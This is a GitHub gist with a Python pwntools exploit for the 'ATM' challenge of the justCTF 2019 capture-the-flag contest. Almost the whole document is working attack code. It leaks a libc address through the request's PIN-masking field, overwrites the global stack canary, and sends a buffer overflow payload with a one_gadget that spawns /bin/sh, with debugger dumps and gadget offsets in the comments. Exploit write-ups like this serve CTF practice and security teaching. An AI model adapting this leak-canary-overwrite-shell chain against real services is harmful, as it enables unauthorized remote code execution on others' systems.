Skip to content

Instantly share code, notes, and snippets.

@disconnect3d
Created December 22, 2019 09:56
Show Gist options
  • Save disconnect3d/e3f932fec080797d16d8fea6301b996f to your computer and use it in GitHub Desktop.
Save disconnect3d/e3f932fec080797d16d8fea6301b996f to your computer and use it in GitHub Desktop.
Exploit for the ATM task from justCTF 2019 (https://2019.justctf.team/)
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
if args.LOCAL:
if not args.DBGBIN:
exe = context.binary = ELF('../private/binary/atm')
else:
exe = context.binary = ELF('../private/binary/atm_debug')
context.terminal = ['tmux', 'splitw', '-h']
host = args.HOST or 'localhost'
port = int(args.PORT or 1337)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
p = connect(host, port)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
return p
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
if args.DBGBIN:
gdbscript = '''
breakrva send_req
continue
'''
p = start()
def send_raw_req(data, pin=False):
assert 0x20000 <= len(data) <= 0x30000
p.recvuntil("Menu: save request (1), send saved request (2), print saved request (3)\n")
p.sendline('1')
p.recvuntil('Length: ')
p.sendline(str(len(data)))
p.recvuntil('Please provide request data: \n')
p.send(data)
p.recvuntil("Received request! \n")
if pin:
p.recvuntil('Pin masked!')
p.recvuntil("Request parsed! \n")
def send_req(sendto, maskat='', data=''):
assert '\n' not in sendto
assert isinstance(data, str)
req = ''.join((
"ATM-REQ/1.0\n",
"atm-ip: %s\n" % sendto,
("mask-pin-at: %d\n" % maskat) if maskat != '' else '',
"%s" % data
))
req += 'a' * (0x20000 - len(req)) # Fill rest data
send_raw_req(req, pin=str(maskat) != '')
def print_req():
p.recvuntil("Menu: save request (1), send saved request (2), print saved request (3)\n")
p.sendline('3')
p.recvuntil('PIN: ')
pin = int(p.recvuntil('\n', drop=True), 16)
print("PIN = 0x%x" % pin)
return pin
#
# From debugging the program, when send_req('1.1.1.1', 123)
#
#pwndbg> set $buf=0x7fd4928e0010
#pwndbg> x/8xb $buf - 0xb028
#0x7fd4928d4fe8: 0x5a 0xf7 0xd5 0x91 0xd4 0x7f 0x00 0x00
#pwndbg> telescope $buf-0xb028 1
#00:0000│ 0x7fd4928d4fe8 —▸ 0x7fd491d5f75a ◂— insb byte ptr [rdi], dx /* 'ld-linux-x86-64.so.2' */
#pwndbg> vmmap 0x7fd491d5f75a
#LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
# 0x7fd491d48000 0x7fd491f2f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
#
# Note: while we don't know the memory layout/environment run on the server
# it is posssible to get it or find it.
# First of all, the libc we got is from ubuntu:18.04 docker image, so we could try that
# and compare offsets for given allocations (and we would find out they match, so we could debug on that).
# But if we don't do that, we can still leak 8B on each connection for a given offset from the initial buffer.
# That ofc would require us to match the first allocation's offset with the second (or actually third) one,
# but it is doable.
#
# Then we could leeak values on given offsets using many connections and find out offsets for canary and libc addresses.
#
# This exploit doesn't leak that and just 'knows' the offsets.
#
#
#
# Leak 4 bytes from libc address
# Note that this address looks like this:
# 0x 00 00 7f LL EE AA KK xx
# Where we know the 'xx' (from debugging above)
# And it seems we can safeuly assume that the address starts with '7f'
# OR SOMETHING AROUND IT!
#
# When debugging we can find this address is changed to:
# 0x 00 00 7f 2a 2a 2a 2a b0
# (but it does not matter in this case)
# Our buffer got allocated on 0x7fff1ba45010
# and there is a libc address on 0x25dd8 offset from it
#
#│pwndbg> telescope 0x7fff1ba45010+0x25dd8 1
#│00:0000_ 0x7fff1ba6ade8 __ 0x7fff1aebe1b0 __ xchg eax, edx
#│pwndbg> vmmap 0x7eff1aebe1b0
#│LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
#│ 0x7fff1aeb8000 0x7fff1b09f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
#│pwndbg> x/8xb 0x7fff1ba6ade8
#│0x7fff1ba6ade8: 0xb0 0xe1 0xeb 0x1a 0xff 0x7f 0x00 0x00
send_req('1.1.1.1', 0x25dd8+1)
send_req('2.2.2.2')
val = print_req()
libcx = 0x7f00000000b0 + (val<<8)
libc_base = libcx - 0x61b0
print("val = 0x%x" % val)
print("libc X address = 0x%x" % libcx)
print("libc base address = 0x%x" % libc_base)
# One gadgets for the given libc:
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
one_gadget = p64(libc_base + 0x4f2c5)
# Overwrite global canary with 0x2a2a2a2a........
send_req('3.3.3.3', 0x65d98)
# Overwrite global canary with 0x........2a2a2a2a
# and save a BOF payload with one gadget
send_req('4.4.4.4 ' + 'a'*48 + '*'*8 + 'b'*24 + one_gadget, 0x86d9c)
# Trigger bof payload and so /bin/sh
p.sendline('2')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment